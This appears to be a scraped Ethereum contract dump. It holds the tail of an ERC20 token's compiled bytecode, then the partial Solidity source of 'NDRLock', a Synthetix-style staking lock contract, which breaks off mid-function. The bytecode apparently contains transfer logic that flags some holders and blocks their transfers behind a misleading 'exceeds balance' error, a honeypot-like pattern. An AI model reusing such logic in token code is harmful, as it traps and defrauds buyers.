ff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061138157fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506112fc565b5050565b600080828401905083811015611469576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611501576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612eed6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611587576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e586022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156117415750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611a485781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561180d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611893576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61189e868686612e2f565b61190984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061199c846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d67565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611af15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611b495750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611ea457600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611bd657508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611be357806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b611cfa868686612e2f565b611d6584604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611df8846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d66565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156121be57600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612009576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612014868686612e2f565b61207f84604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612112846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d65565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156125d657600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122c05750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612315576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561239b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612421576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61242c868686612e2f565b61249784604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061252a846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d64565b6003548110156129a857600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126e7576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561276d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156127f3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b6127fe868686612e2f565b61286984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128fc846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d63565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480612a515750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612b2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612bbd868686612e2f565b612c2884604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cbb846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612e1c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612de1578082015181840152602081019050612dc6565b50505050905090810190601f168015612e0e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220d1766ba39443fc34d86da716b14581758b1058f9798cc805458ff5b7d643c2e764736f6c634300060c0033
[ 38 ]
0xf2d073cfe180eee64d6efe5401a415835c4cc935
/** *Submitted for verification at Etherscan.io on 2021-02-04 */ /** *Submitted for verification at Etherscan.io on 2020-09-23 */ /* ____ __ __ __ _ / __/__ __ ___ / /_ / / ___ / /_ (_)__ __ _\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ / /___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\ /___/ * * Docs: https://docs.synthetix.io/ * * * MIT License * =========== * * Copyright (c) 2020 Synthetix * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ // File: @openzeppelin/contracts/math/Math.sol pragma solidity ^0.5.5; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.5.5; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.5.5; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/ownership/Ownable.sol pragma solidity ^0.5.5; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.5; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * IMPORTANT: It is unsafe to assume that an address for which this * function returns false is an externally-owned account (EOA) and not a * contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.5.5; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/IRewardDistributionRecipient.sol pragma solidity ^0.5.5; contract IRewardDistributionRecipient is Ownable { address rewardDistribution; function notifyRewardAmount(uint256 reward, uint256 dayAmount) external; modifier onlyRewardDistribution() { require(_msgSender() == rewardDistribution, "Caller is not reward distribution"); _; } function setRewardDistribution(address _rewardDistribution) external onlyOwner { rewardDistribution = _rewardDistribution; } } pragma solidity ^0.5.5; contract LPTokenWrapper { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public lpToken; uint256 private _totalSupply; mapping(address => uint256) private _balances; constructor(address _lpToken) internal { lpToken = IERC20(_lpToken); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function stake(uint256 amount) public { _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); lpToken.safeTransferFrom(msg.sender, address(this), amount); } function withdraw(uint256 amount) public { _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); lpToken.safeTransfer(msg.sender, amount); } } contract NDRLock is LPTokenWrapper, IRewardDistributionRecipient { IERC20 public ndr; uint public releaseTime = 0; address public admin; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); constructor(address _ndr) public LPTokenWrapper(_ndr) { admin = msg.sender; ndr = IERC20(_ndr); rewardDistribution = msg.sender; } function seize(IERC20 _token, uint amount) external { require(msg.sender == admin, "admin only"); require(_token != lpToken, "lpToken"); require(_token != ndr, "ndr"); _token.safeTransfer(admin, amount); } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, releaseTime); } function rewardPerToken() public view returns (uint256) { if (totalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(totalSupply()) ); } function earned(address account) public view returns (uint256) { return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } // stake visibility is public as overriding LPTokenWrapper's stake() function function stake(uint256 amount) public updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); super.stake(amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); require(releaseTime < block.timestamp,"locked"); super.withdraw(amount); emit Withdrawn(msg.sender, amount); } function exit() external { withdraw(balanceOf(msg.sender)); getReward(); 